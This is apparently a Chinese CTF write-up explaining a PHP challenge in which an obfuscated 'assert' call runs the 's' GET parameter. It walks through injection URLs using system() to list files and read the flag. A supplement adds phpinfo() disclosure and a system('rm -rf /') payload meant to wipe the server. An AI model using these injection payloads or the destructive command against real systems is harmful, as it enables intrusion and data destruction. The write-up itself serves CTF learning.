CTF--shell

一、原题

(1)提示:

poc="a#s#s#e#r#t";poc_1=explode("#",poc);poc_2=poc_1\[0\].poc_11.poc_1\[2\].poc_13.poc_1\[4\].poc_15; poc_2(_GET's')

(2)原网页:一片空白什么都没有


二、步骤

1.提示:

php 复制代码
$poc="a#s#s#e#r#t";
$poc_1=explode("#",$poc); 
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_GET['s'])

2.提示分析:

php 复制代码
$poc="a#s#s#e#r#t";
// 定义一个字符串 $poc,内容为 "a#s#s#e#r#t"

$poc_1=explode("#",$poc);
// 使用 explode 函数将字符串 $poc 按照 "#" 分割成数组
// 结果是 $poc_1 = ['a', 's', 's', 'e', 'r', 't']
                         
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; 
// 将数组 $poc_1 中的元素通过字符串拼接操作符 "." 连接成一个字符串
// 结果是 $poc_2 = "assert"

$poc_2($_GET['s']);
// 动态调用函数 $poc_2,并传入用户输入的参数 $_GET['s']
// 由于 $poc_2 的值是 "assert",这一行代码等价于:assert($_GET['s']);

3.利用代码注入漏洞,构造新的URL:

117.72.52.127:15439?s=system(ls)

或者:

117.72.52.127:15439?s=system(dir)

4.输入:

117.72.52.127L15439?s=system(''cat flaga15808abee46a1d5.txt')

获得flag:

三、补充

1.其他代码注入漏洞:

http://117.72.52.127:15640?s=phpinfo()

执行phpinfo(),泄露服务器PHP配置信息

http://117.72.52.127:15640?s=system('rm -rf /')

执行rm -rf,删除服务器上的所有文件(假如有权限)

2.参数值分析:

system('ls')

system:PHP 的一个内置函数,用于在服务器上执行操作系统命令,并将输出直接返回给调用者

ls:Linux 系统中的一个命令,用于列出当前目录下的文件和文件夹

四、RCE:

RCE(远程代码执行漏洞)原理及漏洞利用-CSDN博客

相关推荐
PYB311 小时前
【Web·基础学习】基础布局
css·html·web
alwaysrun8 天前
Web之WASM详解
web·wasm
flying jiang9 天前
TencentEdgeOne/enterprise-website-template 国内独立开发部署完整方案
web
Mininglamp_271810 天前
WebRetriever技术架构:视觉特征与DOM结构融合的网页元素定位方案
ai·agent·web
guwentian10 天前
WebGPU 和 WebTransport 2026 真的能上生产了吗?
web·gpu·transport
刺客码11 天前
Layui 表格固定列行高错位问题解决方案
前端框架·layui·jquery·web
COOLMO研究AI11 天前
Next.js App Router 中 sitemap、robots 与 canonical 的配置与排查
前端·web·js·网站优化
ji_shuke11 天前
Apple Pay Web 跨浏览器二维码支付接入与踩坑实战:从 Safari 到 Windows Chrome
web·apple pay
Anthony_23112 天前
Nginx基础
服务器·nginx·http·https·edge浏览器·web
無限進步D13 天前
Java Web 前端 简介
java·开发语言·前端·css·html·css3·web